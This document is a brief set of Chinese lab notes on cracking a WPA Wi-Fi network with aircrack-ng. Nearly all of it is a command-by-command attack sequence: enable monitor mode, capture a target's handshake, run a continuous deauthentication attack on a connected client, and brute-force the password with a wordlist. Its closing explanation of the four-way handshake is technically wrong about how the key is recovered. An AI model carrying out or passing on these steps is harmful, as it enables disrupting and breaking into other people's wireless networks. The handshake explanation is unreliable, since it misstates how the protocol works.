aircrack-ng无线破解实验

查看无线网卡 airmon-ng

开启网卡监听模式 airmon-ng start wlan0

扫描附近的wifi airodump-ng wlan0mon

停止扫描: ctrl c

使用airodump-ng监听指定目标频道

airodump-ng -c 6 -w Desktop/handshake --bssid C0:00:00:00:00:48 wlan0mon

打开一个新的terminal

使用aireplay-ng进行解除认证攻击模式

aireplay-ng -0 0 -a C0:00:00:00:00:48 -c 18:00:00:00:00:88 wlan0mon

关闭监听模式 airmon-ng stop wlan0mon

重启网络管理服务 service network-manager restart

使用字典进行暴力破解  aircrack-ng -w Desktop/wordlist.txt Desktop/handshake-01.cap

一个合法的客户端要连上AP要经历四次握手

1.你请求连AP

2.AP发一个数据包给你                        >>>>>>>>>>>>>>>>

3.你将收到的数据包用wpa密钥加密，然后发给AP      >>>>>>>>>>>>>>>

4.AP用自己保存的wpa密钥加密相同数据包，然后和你发给他的比较，如果相同，就发准许接入的许可。

根据2,3步的握手明文和密文推测出密钥.